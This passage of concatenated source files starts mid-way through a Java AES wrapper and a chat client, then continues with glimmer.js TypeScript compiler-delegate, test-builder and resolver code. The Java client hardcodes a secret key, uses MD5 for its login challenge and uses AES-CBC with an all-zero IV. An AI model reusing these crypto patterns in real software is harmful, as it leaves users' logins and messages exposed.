trunctuate to 128 bytes. This is our A8 StringBuilder sb = new StringBuilder(); sb.append(rand); sb.append(SK); MessageDigest digest = MessageDigest.getInstance("SHA-256"); key = digest.digest((sb.toString()).getBytes(StandardCharsets.UTF_8)); //key = Arrays.copyOfRange(key, 0, 127); //default IV value initialized with 0 IV = new byte[blockSize]; } public BouncyEncryption(String pass, byte[] iv){ //get the key and the IV key = pass.getBytes(); IV = new byte[blockSize]; System.arraycopy(iv, 0 , IV, 0, iv.length); } public BouncyEncryption(byte[] pass, byte[]iv){ //get the key and the IV key = new byte[pass.length]; System.arraycopy(pass, 0 , key, 0, pass.length); IV = new byte[blockSize]; System.arraycopy(iv, 0 , IV, 0, iv.length); } public void InitCiphers() throws NoSuchAlgorithmException, NoSuchProviderException, NoSuchProviderException, NoSuchPaddingException, InvalidKeyException, InvalidAlgorithmParameterException{ //1. create the cipher using Bouncy Castle Provider encryptCipher = Cipher.getInstance("AES/CBC/NoPadding", "BC"); //2. create the key SecretKey keyValue = new SecretKeySpec(key,"AES"); //3. create the IV AlgorithmParameterSpec IVspec = new IvParameterSpec(IV); //4. init the cipher encryptCipher.init(Cipher.ENCRYPT_MODE, keyValue, IVspec); //1 create the cipher decryptCipher = Cipher.getInstance("AES/CBC/NoPadding", "BC"); //2. the key is already created //3. the IV is already created //4. init the cipher decryptCipher.init(Cipher.DECRYPT_MODE, keyValue, IVspec); } public void ResetCiphers() { encryptCipher=null; decryptCipher=null; } public void CBCEncrypt(InputStream fis, OutputStream fos) throws IOException, ShortBufferException, IllegalBlockSizeException, BadPaddingException { //optionally put the IV at the beggining of the cipher file //fos.write(IV, 0, IV.length); byte[] buffer = new byte[blockSize]; int noBytes = 0; byte[] cipherBlock = new byte[encryptCipher.getOutputSize(buffer.length)]; int cipherBytes; while((noBytes = fis.read(buffer))!=-1) { cipherBytes = encryptCipher.update(buffer, 0, noBytes, cipherBlock); fos.write(cipherBlock, 0, cipherBytes); } //always call doFinal cipherBytes = encryptCipher.doFinal(cipherBlock,0); fos.write(cipherBlock,0,cipherBytes); //close the files fos.close(); fis.close(); } public void CBCDecrypt(InputStream fis, OutputStream fos) throws IOException, ShortBufferException, IllegalBlockSizeException, BadPaddingException { // get the IV from the file // DO NOT FORGET TO reinit the cipher with the IV //fis.read(IV,0,IV.length); //this.InitCiphers(); byte[] buffer = new byte[blockSize]; int noBytes = 0; byte[] cipherBlock = new byte[decryptCipher.getOutputSize(buffer.length)]; int cipherBytes; while((noBytes = fis.read(buffer))!=-1) { cipherBytes = decryptCipher.update(buffer, 0, noBytes, cipherBlock); fos.write(cipherBlock, 0, cipherBytes); } //allways call doFinal cipherBytes = decryptCipher.doFinal(cipherBlock,0); fos.write(cipherBlock,0,cipherBytes); //close the files fos.close(); fis.close(); } public byte[] Encrypt(String s) throws ShortBufferException, IllegalBlockSizeException, BadPaddingException, IOException { String sn = s + "\u0003"; InputStream fis = new ByteArrayInputStream(sn.getBytes()); ByteArrayOutputStream bos = new ByteArrayOutputStream(); CBCEncrypt(fis, bos); byte[] buffer = bos.toByteArray(); return buffer; } public String Decrypt(byte[] encrypted) throws ShortBufferException, IllegalBlockSizeException, BadPaddingException, IOException { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ByteArrayInputStream bis = new ByteArrayInputStream(encrypted); CBCDecrypt(bis,bos); String unsplit = new String(bos.toByteArray()); String[] splitstrings = unsplit.split("\u0003"); String strdecrypt = new String(splitstrings[0].getBytes()); return strdecrypt; } }<file_sep>package client_code; import java.io.*; import java.util.Scanner; import java.util.concurrent.BlockingQueue; import java.util.concurrent.LinkedBlockingQueue; import java.math.BigInteger; import java.net.*; import java.nio.charset.Charset; import java.nio.charset.StandardCharsets; import java.security.InvalidAlgorithmParameterException; import java.security.InvalidKeyException; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.security.NoSuchProviderException; import javax.crypto.BadPaddingException; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; import javax.crypto.ShortBufferException; public class Client{ private DatagramSocket datagramSocket ; private InetAddress address; private int port; private DatagramPacket packet; private byte[] buffer; private String username = null; private String clientID; private int secretkey = 123456; private BouncyEncryption encryptor = null; private int cookie; private static boolean connected; private boolean serverConnect; private Scanner scanner = new Scanner(System.in); private MessageParser message_parser_thread = null; private CLI_Thread cli_thread = null; private Socket clientSocket; private BufferedReader in = null; private PrintWriter out = null; private BlockingQueue<InternalMessage> actionQueue = new LinkedBlockingQueue<InternalMessage>(); boolean inChat = false; private String currentSessID = null; private String currentChatPartner = null; Client ()throws SocketException, UnknownHostException{ buffer = new byte[1024]; datagramSocket = new DatagramSocket(); address = InetAddress.getLocalHost(); packet = new DatagramPacket(buffer, buffer.length, address, 8888); scanner = new Scanner (System.in); } public int sendLogin(String user)throws IOException, NoSuchAlgorithmException, ShortBufferException, IllegalBlockSizeException, BadPaddingException, InvalidKeyException, NoSuchProviderException, NoSuchPaddingException, InvalidAlgorithmParameterException{ // send "Hello" msg to SERVER System.out.println("Sending HELLO"); byte[] buffer = user.getBytes(); DatagramPacket packet = new DatagramPacket(buffer, buffer.length, address, 4445); // send packet datagramSocket.send(packet); // receive auth datagramSocket.receive(packet); String s = unpack(packet); // check to see if user exists on the server if (!s.contains("User")){ int rand = Integer.parseInt(s); int key = rand + secretkey; StringBuilder sb = new StringBuilder(); sb.append(rand); sb.append(secretkey); key = Integer.parseInt(sb.toString()); encryptor = new BouncyEncryption(rand,secretkey); encryptor.InitCiphers(); byte[] password = BigInteger.valueOf(key).toByteArray(); MessageDigest md = MessageDigest.getInstance("MD5"); md.update(password); byte[] challenge = new byte[1024]; challenge = md.digest(); DatagramPacket cresponse = new DatagramPacket( challenge, challenge.length, address, 4445 ); datagramSocket.send(cresponse); buffer = new byte[1024]; packet = new DatagramPacket( buffer, buffer.length, address, 8888 ); datagramSocket.receive(packet); String strdecrypt = encryptor.Decrypt(packet.getData()); String [] str = strdecrypt.split(","); cookie = Integer.parseInt(str[0]); System.out.println(strdecrypt); // establish TCP connection clientSocket = new Socket("localhost", Integer.parseInt(str[1])); try {in = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));} catch (IOException e) {System.out.println("In TCP_Welcome_Thread: Unable to create Buffered Reader");e.printStackTrace();} try {out = new PrintWriter(clientSocket.getOutputStream(), true);} catch (IOException e) {System.out.println("In TCP_Welcome_Thread: unable to create PrintWriter");e.printStackTrace();} out.println("CONNECT\u001e" + cookie); System.out.println(encryptor.Decrypt(in.readLine().getBytes())); serverConnect = true; return 1; } else{ System.out.println("User DNE"); // exit datagramSocket.receive(packet); String strdecrypt = encryptor.Decrypt(packet.getData()); System.out.println(strdecrypt); return -1; } } public void chatRequest()throws IOException{ String second_client; //Create the input and output streams so that we can communicate with the client // request connection with 2nd chat client do { second_client = scanner.nextLine(); // use bouncy encryption??? out.println("CHAT_REQUEST\u001e" + second_client); System.out.println("dsf1"); String msgRcv = in.readLine(); System.out.println(msgRcv); String [] msgSplit = msgRcv.split("\u001e"); /* DatagramPacket packet = Packet_Helpers.stringToPacket(second_client, address, 4445); datagramSocket.send(packet); // receive something from server and decrypt datagramSocket.receive(packet); String a = unpack(packet); String [] msgSplit = a.split("\u001e"); // CHAT_STARTED\u001e{SESSION_ID}\u001e{CLIENT_B}*/ if (msgSplit[0].equals("CHAT_STARTED")){ System.out.println(msgSplit[0] + " " + msgSplit[1] + " " + msgSplit[2]); connected = true; } else System.out.println("User DNE, try again"); }while (!connected); } public void sendMSG() throws ShortBufferException, IllegalBlockSizeException, BadPaddingException, IOException{ // send message to server String msg; do { System.out.print("[You]: "); msg = scanner.nextLine(); System.out.println (msg); if (msg.equals("End Chat") == true) break; else { // else send msg to server //encrpyton out.println(msg); } } while (true); // close TCP connections //endChat(); System.out.println("Chat ended"); } public void rcvMSG(DatagramPacket msg) throws IOException{ datagramSocket.receive(packet); // gets msg String rcv = unpack(msg); // switch (rcv)?? //case 1: //case 2: //case 3: ENDMSG // endChat(); //case 4: EXIT // sendQuit(); } public void endChat(){ // end chat with 2nd client, but still maintain connection with UDP. } public void sendQuit(){ // disconnect from server when user types "Log off" } public static String unpack(DatagramPacket p1) { // upaacks datagram into readable format String str = new String( p1.getData(), p1.getOffset(), p1.getLength(), StandardCharsets.UTF_8 // or some other charset ); return str; } /* private void control(Client a) throws UnknownHostException, SocketException, IOException, NoSuchAlgorithmException, ShortBufferException, IllegalBlockSizeException, BadPaddingException, InvalidKeyException, NoSuchProviderException, NoSuchPaddingException, InvalidAlgorithmParameterException { while(true) { InternalMessage action = null; try {action = actionQueue.take();} catch (InterruptedException e) {e.printStackTrace();} switch(action.getAction()) { case "CHAT_REQUEST": break; } } } */ public void chat_state_machine(BlockingQueue<InternalMessage> actionQueue, PrintWriter out,BouncyEncryption encryptor ) throws InterruptedException, IOException { boolean isChatting = true; while(isChatting) { InternalMessage temp = null; temp = actionQueue.take(); if(temp.isInternal()) { //Messages from user switch(temp.getAction()) { case "CHAT": try {out.println(encryptor.Encrypt(temp.getAction() + "\u001e" + currentSessID + "\u001e" + temp.getData()));} catch (ShortBufferException | IllegalBlockSizeException | BadPaddingException| IOException e) {e.printStackTrace();} break; case "LOG_OFF": try {out.println(encryptor.Encrypt(temp.getAction() + "\u001e" + currentSessID));} catch (ShortBufferException | IllegalBlockSizeException | BadPaddingException| IOException e) {e.printStackTrace();} try {out.println(encryptor.Encrypt("DISCONNECT"));} catch (ShortBufferException | IllegalBlockSizeException | BadPaddingException| IOException e) {e.printStackTrace();} out .close(); in .close(); out = null; in = null; isChatting = false; connected = false; break; case "END_REQUEST": try {out.println(encryptor.Encrypt(temp.getAction() + "\u001e" + currentSessID));} catch (ShortBufferException | IllegalBlockSizeException | BadPaddingException| IOException e) {e.printStackTrace();} isChatting = false; break; case "HISTORY_REQ": try {out.println(encryptor.Encrypt(temp.getAction() + "\u001e" + temp.getClient()));} catch (ShortBufferException | IllegalBlockSizeException | BadPaddingException| IOException e) {e.printStackTrace();} break; } } else { //messages from server switch(temp.getAction()) { case "CHAT": System.out.println(currentChatPartner + ": " + temp.getData()); break; case "END_NOTIF": System.out.println("Chat session " + currentSessID + " with " + currentChatPartner + " has ended."); currentSessID = null; currentChatPartner = null; isChatting = false; break; case "HISTORY_RESP": System.out.println(temp.getData()); break; } } } } public static void main(String[] args) throws UnknownHostException, SocketException, IOException, NoSuchAlgorithmException, ShortBufferException, IllegalBlockSizeException, BadPaddingException, InvalidKeyException, NoSuchProviderException, NoSuchPaddingException, InvalidAlgorithmParameterException, InterruptedException { Client a = new Client(); while(true) { System.out.println("Type \"Log On\" to begin connection to Server."); String input = a.scanner.nextLine(); if(input.toUpperCase().equals("LOG ON")) { System.out.println("Enter your Username: "); String username = a.scanner.nextLine(); if(a.sendLogin(username) > 0) { connected = true; a.message_parser_thread = new MessageParser(a.actionQueue, a.in, a.encryptor); a.cli_thread = new CLI_Thread(a.actionQueue); a.message_parser_thread .start(); a.cli_thread .start(); while(a.connected) { InternalMessage temp = a.actionQueue.take(); if(temp.isInternal()) { switch(temp.getAction()) { case "CHAT_REQUEST": a.out.println(a.encryptor.Encrypt(temp.getAction() + "\u001e" + temp.getClient())); a.currentChatPartner = temp.getClient(); break; case "HISTORY_REQ": try {a.out.println(a.encryptor.Encrypt(temp.getAction() + "\u001e" + temp.getClient()));} catch (ShortBufferException | IllegalBlockSizeException | BadPaddingException| IOException e) {e.printStackTrace();} break; case "LOG_OFF": try {a.out.println(a.encryptor.Encrypt("DISCONNECT"));} catch (ShortBufferException | IllegalBlockSizeException | BadPaddingException| IOException e) {e.printStackTrace();} a.out .close(); a.in .close(); a.out = null; a.in = null; connected = false; break; } } else { switch(temp.getAction()) { case"CHAT_STARTED": a.currentChatPartner = temp.getClient(); a.currentSessID = temp.getSessionID(); System.out.println("Chat session " + a.currentSessID + " with " + a.currentChatPartner + " has begun."); a.chat_state_machine(a.actionQueue,a.out,a.encryptor); break; case"UNREACHABLE": System.out.println("User " + a.currentChatPartner + " is unreachable."); a.currentChatPartner = null; break; case"HISTORY_RESP": System.out.println(temp.getData()); break; } } } } } //a.sendLogin("UserA"); //a.chatRequest(); } } }
05a46dad60bc7cf832dd92da0a51073d3711f030
[ "Java" ]
4
Java
Clast/ChatClient
75cdc9fe03b004cc064781cd4b7e54f995d78c7c
1128a0024a18d6d9671ee252d03e363cd90787a3
refs/heads/master
<repo_name>c0urg3tt3/glimmer.js<file_sep>/packages/@glimmer/compiler-delegates/src/delegates/module-unification.ts import { BundleCompilerDelegate, AddedTemplate, Builtins, BuiltinsMap, Name, ModulePath, Identifier } from '../bundle'; import { getImportStatements, OutputFiles } from '../utils/code-gen'; import { BundleCompiler, Specifier, specifierFor, SpecifierMap } from '@glimmer/bundle-compiler'; import { SymbolTable, ProgramSymbolTable, ComponentCapabilities } from '@glimmer/interfaces'; import { expect, Dict } from '@glimmer/util'; import { relative, extname, dirname } from 'path'; import { SerializedTemplateBlock } from '@glimmer/wire-format'; import { CompilableTemplate, CompileOptions, ICompilableTemplate } from '@glimmer/opcode-compiler'; import { ConstantPool } from '@glimmer/program'; import Debug from 'debug'; import { Project } from 'glimmer-analyzer'; import { CAPABILITIES } from '@glimmer/component'; const debug = Debug('@glimmer/compiler-delegates:mu-delegate'); export default class ModuleUnificationCompilerDelegate implements BundleCompilerDelegate { public bundleCompiler: BundleCompiler; protected project: Project; protected specifiersToSymbolTable: Map<Specifier, SymbolTable> = new Map(); private builtinsMap: BuiltinsMap; constructor(protected projectPath: string, public outputFiles: OutputFiles, envBuiltIns: Builtins = {}) { debug('initialized MU compiler delegate; project=%s', projectPath); this.project = new Project(projectPath); let builtins = { main: specifierFor('main', 'mainTemplate'), if: specifierFor('@glimmer/application', 'ifHelper'), action: specifierFor('@glimmer/application', 'actionHelper'), ...envBuiltIns }; let byName = new Map<Name, ModulePath>(); let byModulePath = new Map<ModulePath, Name>(); let byIdentifier = new Map<Identifier, Specifier>(); Object.keys(builtins).forEach(builtin => { let specifier = builtins[builtin]; byName.set(specifier.name, specifier.module); byModulePath.set(specifier.module, specifier.name); byIdentifier.set(builtin, specifier); }); this.builtinsMap = { byModulePath, byName, byIdentifier }; } hasComponentInScope(name: string, referrer: Specifier) { debug('hasComponentInScope; name=%s; referrer=%o', name, referrer); let referrerSpec = expect( this.project.specifierForPath(referrer.module), `The component <${name}> was used in ${referrer.module} but could not be found.` ); return !!this.project.resolver.identify(`template:${name}`, referrerSpec); } resolveComponentSpecifier(name: string, referrer: Specifier) { let referrerSpec = expect(this.project.specifierForPath(referrer.module), `expected specifier for path ${referrer.module}`); let resolved = this.project.resolver.identify(`template:${name}`, referrerSpec); let resolvedSpecifier = this.getCompilerSpecifier(resolved); return resolvedSpecifier; } specifierFor(relativePath: string) { return specifierFor(relativePath, 'default'); } /** * Converts a path relative to the current working directory into a path * relative to the project root. */ normalizePath(modulePath: string): string { let project = this.project; let projectPath = relative(process.cwd(), project.projectDir); return relative(projectPath, modulePath); } protected getCompilerSpecifier(specifier: string): Specifier { let modulePath = expect(this.project.pathForSpecifier(specifier), `couldn't find module with specifier '${specifier}'`); return specifierFor(modulePath, 'default'); } getComponentCapabilities(): ComponentCapabilities { return CAPABILITIES; } hasHelperInScope(helperName: string, referrer: Specifier) { if (this.builtinsMap.byIdentifier.has(helperName)) { return true; } let referrerSpec = this.project.specifierForPath(referrer.module) || undefined; return !!this.project.resolver.identify(`helper:${helperName}`, referrerSpec); } resolveHelperSpecifier(helperName: string, referrer: Specifier) { if (this.builtinsMap.byIdentifier.has(helperName)) { return this.builtinsMap.byIdentifier.get(helperName); } let referrerSpec = this.project.specifierForPath(referrer.module) || undefined; let resolvedSpec = this.project.resolver.identify(`helper:${helperName}`, referrerSpec); return this.getCompilerSpecifier(resolvedSpec); } getComponentLayout(_specifier: Specifier, block: SerializedTemplateBlock, options: CompileOptions<Specifier>): ICompilableTemplate<ProgramSymbolTable> { return CompilableTemplate.topLevel(block, options); } generateDataSegment(map: SpecifierMap, pool: ConstantPool, table: number[], nextFreeHandle: number, compiledBlocks: Map<Specifier, AddedTemplate>) { debug('generating data segment'); let externalModuleTable = this.generateExternalModuleTable(map); let constantPool = this.generateConstantPool(pool); let heapTable = this.generateHeapTable(table); let specifierMap = this.generateSpecifierMap(map); let symbolTables = this.generateSymbolTables(compiledBlocks); let source = strip` ${externalModuleTable} ${heapTable} ${constantPool} ${specifierMap} ${symbolTables} export default { moduleTable, heapTable, pool, specifierMap, symbolTables };`; debug('generated data segment; source=%s', source); return source; } generateSymbolTables(compiledBlocks: Map<Specifier, AddedTemplate>) { let symbolTables: Dict<ProgramSymbolTable> = {}; for (let [specifier, template ] of compiledBlocks) { if (!(this.builtinsMap.byName.has(specifier.name))) { let muSpecifier = this.muSpecifierForSpecifier(specifier); symbolTables[muSpecifier] = { hasEval: (template as SerializedTemplateBlock).hasEval, symbols: (template as SerializedTemplateBlock).symbols, referrer: null }; } } return `const symbolTables = ${inlineJSON(symbolTables)};`; } generateSpecifierMap(map: SpecifierMap) { let entries = Array.from(map.vmHandleBySpecifier.entries()); let specifierMap: Dict<number> = {}; for (let [specifier, handle] of entries) { if (!(this.builtinsMap.byName.has(specifier.name))) { let muSpecifier = this.muSpecifierForSpecifier(specifier); specifierMap[muSpecifier] = handle; } } return `const specifierMap = ${inlineJSON(specifierMap)};`; } muSpecifierForSpecifier(specifier: Specifier): string { let project = this.project; return expect( project.specifierForPath(specifier.module), `expected to have a MU specifier for module ${specifier.module}` ); } generateHeapTable(table: number[]) { return strip` const heapTable = ${inlineJSON(table)}; `; } generateConstantPool(pool: ConstantPool) { return strip` const pool = ${inlineJSON(pool)}; `; } generateExternalModuleTable(map: SpecifierMap) { let project = this.project; let self = this; let dataSegmentPath = dirname(this.outputFiles.dataSegment); // First, convert the map into an array of specifiers, using the handle // as the index. let modules = toSparseArray(map.byHandle) .map(normalizeModulePaths) .filter(m => m) as Specifier[]; let source = generateExternalModuleTable(modules, this.builtinsMap); return source; function normalizeModulePaths(moduleSpecifier: Specifier) { if (self.builtinsMap.byName.has(moduleSpecifier.name)) { return moduleSpecifier; } else { let specifier = self.muSpecifierForSpecifier(moduleSpecifier); debug('resolved MU specifier; specifier=%s', specifier); let [type] = specifier.split(':'); switch (type) { case 'template': return getComponentImport(specifier); case 'helper': return moduleSpecifier; default: throw new Error(`Unsupported type in specifier map: ${type}`); } } } function getComponentImport(referrer: string): Specifier | null { let componentSpec = project.resolver.identify('component:', referrer); if (componentSpec) { let componentPath = project.pathForSpecifier(componentSpec)!; componentPath = relative(dataSegmentPath, componentPath); debug('found corresponding component; referrer=%s; path=%s; dataSegment=%s', referrer, componentPath, dataSegmentPath); componentPath = componentPath.replace(extname(componentPath), ''); return specifierFor(componentPath, 'default'); } debug('no component for template; referrer=%s', referrer); return null; } } hasModifierInScope(_modifierName: string, _referrer: Specifier): boolean { return false; } resolveModifierSpecifier(_modifierName: string, _referrer: Specifier): Specifier { throw new Error("Method not implemented."); } hasPartialInScope(_partialName: string, _referrer: Specifier): boolean { return false; } resolvePartialSpecifier(_partialName: string, _referrer: Specifier): Specifier { throw new Error("Method not implemented."); } } function inlineJSON(data: any) { return `JSON.parse(${JSON.stringify(JSON.stringify(data))})`; } function toSparseArray<T>(map: Map<number, T>): T[] { let array: T[] = []; for (let [key, value] of map) { array[key] = value; } return array; } function generateExternalModuleTable(modules: Specifier[], builtins: BuiltinsMap) { let { imports, identifiers } = getImportStatements(modules, builtins); return ` ${imports.join('\n')} const moduleTable = [${identifiers.join(',')}]; `; } function strip(strings: TemplateStringsArray, ...args: string[]) { if (typeof strings === 'object') { return strings.map((str: string, i: number) => { return `${str.split('\n').map(s => s.trim()).join('')}${args[i] ? args[i] : ''}`; }).join(''); } else { return strings[0].split('\n').map((s: string) => s.trim()).join(' '); } } <file_sep>/packages/@glimmer/application-test-helpers/src/app-builder.ts import { Simple } from '@glimmer/interfaces'; import Resolver, { BasicModuleRegistry, ResolverConfiguration } from '@glimmer/resolver'; import { Opaque, Dict, ProgramSymbolTable } from '@glimmer/interfaces'; import { FactoryDefinition } from '@glimmer/di'; import defaultResolverConfiguration from './default-resolver-configuration'; import { precompile } from './compiler'; import Application, { ApplicationConstructor, RuntimeCompilerLoader, BytecodeLoader, Loader } from '@glimmer/application'; import { ComponentManager, CAPABILITIES } from '@glimmer/component'; import { assert } from '@glimmer/util'; import { BundleCompiler, CompilerDelegate as ICompilerDelegate, Specifier, specifierFor } from '@glimmer/bundle-compiler'; import { buildAction, mainTemplate } from '@glimmer/application'; import { SerializedTemplateBlock } from '@glimmer/wire-format'; import { CompilableTemplate, CompileOptions } from '@glimmer/opcode-compiler'; import { CompilableTemplate as ICompilableTemplate, Cursor } from '@glimmer/runtime'; import { DOMBuilder, SyncRenderer } from '@glimmer/application'; export interface AppBuilderOptions<T> { appName?: string; loader?: string; ApplicationClass?: ApplicationConstructor<T>; ComponentManager?: any; // TODO - typing resolverConfiguration?: ResolverConfiguration; document?: Simple.Document; } export interface ComponentFactory extends FactoryDefinition<Opaque> {}; export class TestApplication extends Application { rootElement: Element; } export class AppBuilder<T extends TestApplication> { rootName: string; modules: Dict<Opaque> = {}; options: AppBuilderOptions<T>; constructor(name: string, options: AppBuilderOptions<T>) { this.rootName = name; this.options = options; this.modules[`component-manager:/${this.rootName}/component-managers/main`] = this.options.ComponentManager; this.template('Main', '<div />'); this.helper('action', buildAction); } template(name: string, template: string) { assert(name.charAt(0) === name.charAt(0).toUpperCase(), 'template names must start with a capital letter'); let specifier = `template:/${this.rootName}/components/${name}`; this.modules[specifier] = precompile(template, { meta: { specifier }}); return this; } component(name: string, componentFactory: ComponentFactory) { let specifier = `component:/${this.rootName}/components/${name}`; this.modules[specifier] = componentFactory; return this; } helper(name: string, helperFunc: Function) { let specifier = `helper:/${this.rootName}/components/${name}`; this.modules[specifier] = helperFunc; return this; } protected buildResolver() { let resolverConfiguration = this.options.resolverConfiguration || defaultResolverConfiguration; resolverConfiguration.app = resolverConfiguration.app || { name: this.rootName, rootName: this.rootName }; let registry = new BasicModuleRegistry(this.modules); return new Resolver(resolverConfiguration, registry); } protected buildRuntimeCompilerLoader(resolver: Resolver) { return new RuntimeCompilerLoader(resolver); } protected buildBytecodeLoader(resolver: Resolver) { let delegate = new CompilerDelegate(resolver); let compiler = new BundleCompiler(delegate); let mainSpecifier = specifierFor(mainTemplate.meta.specifier, 'default'); compiler.addCustom(mainSpecifier, JSON.parse(mainTemplate.block)); for (let mod in this.modules) { let [key] = mod.split(':'); if (key === 'template') { compiler.addCustom(specifierFor(mod, 'default'), JSON.parse((this.modules[mod] as any).block)); } } let { heap, pool } = compiler.compile(); let specifierMap = compiler.getSpecifierMap(); let entryHandle = specifierMap.vmHandleBySpecifier.get(mainSpecifier); let table = []; let map = new Map(); let symbols = new Map(); for (let [spec, handle] of specifierMap.vmHandleBySpecifier.entries()) { map.set(spec.module, handle); } for (let [handle, mod] of specifierMap.byHandle.entries()) { table[handle] = mod; } for (let [spec, block] of compiler.compiledBlocks.entries()) { symbols.set(spec.module, { symbols: (block as SerializedTemplateBlock).symbols, hasEval: (block as SerializedTemplateBlock).hasEval }); } let bytecode = heap.buffer; let data = { pool, table, map, symbols, entryHandle, heap: { table: heap.table, handle: heap.handle } }; return new BytecodeLoader({ bytecode, data }); } async boot(): Promise<T> { let resolver = this.buildResolver(); let loader: Loader; switch (this.options.loader) { case 'runtime-compiler': loader = this.buildRuntimeCompilerLoader(resolver); break; case 'bytecode': loader = this.buildBytecodeLoader(resolver); break; default: throw new Error(`Unrecognized loader ${this.options.loader}`); } let doc: Document = this.options.document as Document || document; let element = doc.body; let cursor = new Cursor(element, null); let builder = new DOMBuilder(cursor); let renderer = new SyncRenderer(); let app = new this.options.ApplicationClass({ resolver, builder, loader, renderer, rootName: this.rootName, document: this.options.document }); let rootElement = doc.createElement('div'); app.rootElement = rootElement; app.renderComponent('Main', rootElement); await app.boot(); return app; } } class CompilerDelegate implements ICompilerDelegate { constructor(protected resolver: Resolver) { } hasComponentInScope(name: string, referrer: Specifier): boolean { return !!this.resolver.identify(`template:${name}`, referrer.module); } resolveComponentSpecifier(name: string, referrer: Specifier): Specifier { let resolved = this.resolver.identify(`template:${name}`, referrer.module); return specifierFor(resolved, 'default'); } getComponentCapabilities() { return CAPABILITIES; } hasHelperInScope(helperName: string, referrer: Specifier): boolean { return !!this.resolver.identify(`helper:${helperName}`, referrer.module); } resolveHelperSpecifier(helperName: string, referrer: Specifier): Specifier { let resolved = this.resolver.identify(`helper:${helperName}`, referrer.module); return specifierFor(resolved, 'default'); } hasPartialInScope(partialName: string, referrer: Specifier): boolean { throw new Error("Method not implemented."); } resolvePartialSpecifier(partialName: string, referrer: Specifier): Specifier { throw new Error("Method not implemented."); } getComponentLayout(specifier: Specifier, block: SerializedTemplateBlock, options: CompileOptions<Specifier>): ICompilableTemplate<ProgramSymbolTable> { return CompilableTemplate.topLevel(block, options); } hasModifierInScope(modifierName: string, referrer: Specifier): boolean { throw new Error("Method not implemented."); } resolveModifierSpecifier(modifierName: string, referrer: Specifier): Specifier { throw new Error("Method not implemented."); } } function buildApp<T extends TestApplication>(options: AppBuilderOptions<T> = {}): AppBuilder<T> { options.appName = options.appName || 'test-app'; options.loader = options.loader || 'runtime-compiler'; options.ComponentManager = options.ComponentManager || ComponentManager; options.ApplicationClass = options.ApplicationClass || TestApplication as ApplicationConstructor<T>; return new AppBuilder(options.appName, options); } export { buildApp }; <file_sep>/packages/@glimmer/application/src/loaders/bytecode/resolver.ts import { RuntimeResolver, ComponentDefinition, SymbolTable } from '@glimmer/interfaces'; import { Specifier } from '@glimmer/bundle-compiler'; import { unreachable, Opaque, expect } from '@glimmer/util'; import { ComponentManager, Helper } from '@glimmer/runtime'; import { Owner, Factory } from '@glimmer/di'; import { CAPABILITIES } from '@glimmer/component'; function buildComponentDefinition(ComponentClass: Factory<Opaque>, manager: ComponentManager<Opaque, Opaque>, handle?: number, symbolTable?: SymbolTable) { return { manager, state: { handle, symbolTable, ComponentClass, capabilities: CAPABILITIES } }; } /** * Exchanges VM handles for concrete implementations. */ export default class BytecodeResolver implements RuntimeResolver<Specifier> { constructor(protected owner: Owner, protected table: Opaque[], protected map: Map<string, number>, protected symbols: Map<string, SymbolTable>) { } lookupComponent(name: string, referrer: Specifier): ComponentDefinition { let owner = this.owner; let manager = expect(owner.lookup('component-manager:main'), 'expected to find component manager'); let resolved = owner.identify(`template:${name}`, referrer.module); let layout = this.map.get(resolved); let symbolTable = this.symbols.get(resolved); let resolvedClass = owner.identify('component:', resolved); let ComponentClass; if (resolvedClass) { ComponentClass = owner.lookup(resolvedClass); } return buildComponentDefinition(ComponentClass, manager, layout, symbolTable); } lookupPartial(name: string, referrer: Specifier): number { throw unreachable(); } resolve<U>(handle: number): U { let spec = this.table[handle] as Specifier; if (spec.module.substring(0, 6) === 'helper') { return this.resolveHelper(spec) as any as U; } else { return this.resolveComponentDefinition(spec) as any as U; } } resolveComponentDefinition(spec: Specifier): ComponentDefinition { let manager = this.owner.lookup(`component-manager:main`); let ComponentClass = this.owner.factoryFor(`component:`, spec.module); return buildComponentDefinition(ComponentClass, manager); } resolveHelper(spec: Specifier): Helper { return this.owner.lookup(spec.module); } } <file_sep>/packages/@glimmer/compiler-delegates/index.ts export { default as ModuleUnificationCompilerDelegate } from './src/delegates/module-unification'; export { BundleCompilerDelegate, Builtins } from './src/bundle'; export { OutputFiles } from './src/utils/code-gen'; <file_sep>/packages/@glimmer/compiler-delegates/src/bundle.ts import { CompilerDelegate, SpecifierMap, Specifier } from '@glimmer/bundle-compiler'; import { ConstantPool } from '@glimmer/program'; import { SerializedTemplateBlock } from '@glimmer/wire-format'; import { ICompilableTemplate } from '@glimmer/opcode-compiler'; import { ProgramSymbolTable } from '@glimmer/interfaces'; export type Metadata = {}; export type AddedTemplate = SerializedTemplateBlock | ICompilableTemplate<ProgramSymbolTable>; export interface BundleCompilerDelegate extends CompilerDelegate { normalizePath(absolutePath: string): string; specifierFor(relativePath: string): Specifier; generateDataSegment(map: SpecifierMap, pool: ConstantPool, heapTable: number[], nextFreeHandle: number, blocks: Map<Specifier, AddedTemplate>): string; } export interface Builtins { [key: string]: Specifier; } export type ModulePath = string; export type Name = string; export type Identifier = string; export interface BuiltinsMap { byName: Map<Name, ModulePath>; byIdentifier: Map<Identifier, Specifier>; byModulePath: Map<ModulePath, Name>; } <file_sep>/packages/@glimmer/compiler-delegates/src/utils/code-gen.ts import { Specifier } from "@glimmer/bundle-compiler"; import { dict, Dict } from "@glimmer/util"; import { Option } from "@glimmer/interfaces"; import { BuiltinsMap } from '../bundle'; export interface OutputFiles { dataSegment: Option<string>; heapFile: Option<string>; } /** * Generates a valid JavaScript identifier for a module path. Can optionally take * a dictionary of already-seen identifiers to avoid naming collisions. * * @param {string} modulePath the module path * @param {object} seen an object containing already-seen identifiers as keys * @returns {string} identifier a valid JavaScript identifier */ export function getIdentifier(modulePath: string, seen: Dict<boolean> = {}) { let identifier = modulePath // replace any non letter, non-number, non-underscore .replace(/[\W]/g, '_'); // if we have already generated this identifier // prefix with an _ until we find a unique one while (identifier in seen) { identifier = `_${identifier}`; } seen[identifier] = true; return `__${identifier}__`; } /** * Generates the import clause of an import statement based on both the export * name and the desired local identifier. * * getImportClause('default', 'MyClass') => 'MyClass' * getImportClause('MyClass', 'MyClass') => '{ MyClass }' * getImportClause('MyClass', 'GlimmerMyClass') => '{ MyClass as GlimmerMyClass }' */ export function getImportClause(name: string, id: string) { if (name === 'default') { return id; } if (name === 'id') { return `{ ${id} }`; } return `{ ${name} as ${id} }`; } export function getImportStatement(specifier: Specifier, id: string) { let { module, name } = specifier; 